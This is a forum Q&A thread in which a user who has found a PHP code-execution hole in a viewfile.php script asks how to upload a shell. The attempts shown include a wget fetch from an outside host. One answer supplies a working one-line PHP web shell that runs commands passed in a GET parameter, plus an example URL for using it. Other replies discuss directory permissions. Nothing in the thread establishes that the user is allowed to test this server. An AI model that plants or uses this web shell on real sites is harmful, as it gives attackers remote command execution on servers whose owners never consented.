1

So i've found a RCE vulnerability in a PHP script (it's in a file called viewfile.php). Basically, from this file I can execute whatever PHP code I want, for example, <?php echo phpinfo(); ?> displays phpinfo, and <?php echo "Test"; ?> also works.

I wanted to see if I could upload a shell from this RCE vulnerability, so first I decided to test to make sure I could upload files. Here is what i tried:

<?php
$fp = fopen('test.txt', 'w');
fwrite($fp, 'Text in test.txt');
fclose($fp);
?>

and

<?php $output = exec('wget http://mywebsite.com/textfile.txt -O test.txt'); echo $output; ?>

Both examples above created a file test.txt but both of the files were empty, meaning that if I were to try this with a shell, it wouldn't work (it would just be an empty file as well). Does this mean that it can be assumed that the directory i've been trying to upload files to doesn't have write perms? If it didn't have write perms, is this the behavior that one would expect? (file being created but nothing being written to it)

  • 1
    It sounds somewhat improbable that you could create a file but not write to it. And your description of the permissions elsewhere is meaningless in the absence of identifying the entities the permissions relate to. – symcbean Jul 10 '16 at 13:01
1

Depending on the configuration of the web server, you may or may not be able to get a regular, interactive shell. That said, you can already execute arbitrary php commands. So why don't you upload a file containing:

<?php echo shell_exec($_GET['cmd']);?>

Then you can easily pass whatever commands you like:

http://example.com/viewfile.php?file=myupload.php&cmd=ifconfig
0

A way around this would be to write the file you want directly from PHP instead of invoking a shell and a binary (which may not even be installed on this server, or something, perhaps a firewall is preventing wget from working).

Also, I am not sure how a PHP file could have write permissions. Permissions are usually applied to the directory you want to download the file, and use the process' user and group to determine whether it's allowed to write there. For binaries that are executed directly it could be that suid/sgid attributes are set to that file to override the caller's user/group with the one in the attribute, but such attributes have no effect on PHP files.

  • When I try to write the file directly from PHP it's empty also, but the file is created. – BotHam Jul 9 '16 at 6:25
  • @BotHam can you check the working directory's permissions as well as the process' user and group? – André Borie Jul 9 '16 at 10:39
  • I believe so, from getting the output of ls -la for both of the directories that I was trying to upload files to, it gives me: drwxr-xr-x 2 – BotHam Jul 9 '16 at 17:27

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.